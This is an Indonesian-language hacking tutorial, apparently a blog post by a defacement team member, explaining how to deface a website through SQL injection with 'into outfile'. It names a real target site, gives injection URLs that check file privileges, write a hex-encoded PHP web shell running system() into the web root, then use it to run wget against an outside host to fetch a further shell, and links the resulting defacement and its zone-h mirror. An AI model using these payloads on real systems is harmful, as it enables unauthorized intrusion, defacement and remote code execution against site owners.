Cara Deface SQL-Injection Into Outfile

yo whatsap gaes, btw Assalamu'alaikum.. :)
kenalin nama gw Umam paling ganteng di Ghost Riddiculous Team. Kali ini gw mo berbagi ilmu, cara deface SQL-Injection Into Outfile - Upload shell without admin panel.
langsung aja ga usah basa basi h3h3

persiapan:
1. Internet lah pastinya
2. Target gan, klo ga ada target mo ngapain? :v
3. Kopi + Asap 😎

life target : http://bernadyland.com

step satu byasalah ya cari error nya dulu dengan quote ' klo error brrti ya vuln. Lakukan order by 1000 --+- sprti gambar dibawah

disitu muncul error kek gini..
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in D:\xampp\htdocs\bernadyland\berita\lihatDetailBerita.php on line 4

nah, step kedua lakukan union select pada umumna lah.. klo uda nampilin angka togelna sprti gambar dibawah ini..

kyta lgs cek file_privnya saja gan, contoh;
http://target.com/index.php?id=-7 union select 1,2,file_priv,3,4 from mysql.user-- -

klo muncul huruf Y kek gambar dibawah, brrti writable / bisa di into outfile. Klo engga? yaa gimana ya, bukan siapa" sih. Yaudah sih.. ;)

disini gw milih angka 4, knapa? karna aku sayang kamu h3h3 :)
nahkan muncul huruf Y, ini saaatnya kyta into outfile. Gimana mas caranya? gini slur, contoh;

http://target.com/index.php?id=-7 union select 1,2,<?php if(isset($_GET['grt'])){ echo system($_GET['grt']); }? >,4,5 into outfile '/home/user/public_html/tes.php'-- -

kode phpnya di hexa dulu slur, mo pake kode itu apa uploader lgs terserah, yg penting di hexa, gini jadina.

http://target.com/index.php?id=-7 union select 1,2,0x3c3f70687020696628697373657428245f4745545b27677274275d29297b206563686f2073797374656d28245f4745545b27677274275d293b207d3f203e,3,4 into outfile 'D:/xampp/htdocs/bernadyland/berita/test.php'-- -

D:/xampp/htdocs/bernadyland/berita/filemu.php
ini environ yg di dapatkan dari gambar error diatas.

klo udah tinggal akses shell cmdna
http://target.com/berita/filemu.php
disini kyta mainan rce, klo ga bisa di rce ya uploader lgs aja kode yg hexa tadi.

cara rce na gini
http://target.com/berita/filemu.php?grt=wget http://linkshell.com/shell.txt -O shell.php

tinggal akses lagi http://target.com/berita/shell.php

web yg di ss tadi:v
http://bernadyland.com/pwn.php
mirror : http://www.zone-h.org/mirror/id/32745069

oke mau lu apain bebas :)
btw nitip nick Umam 1337

Thanks for all member Ghost Riddiculous Team
Mohon maap jika ada kekurangan kata.

Share this post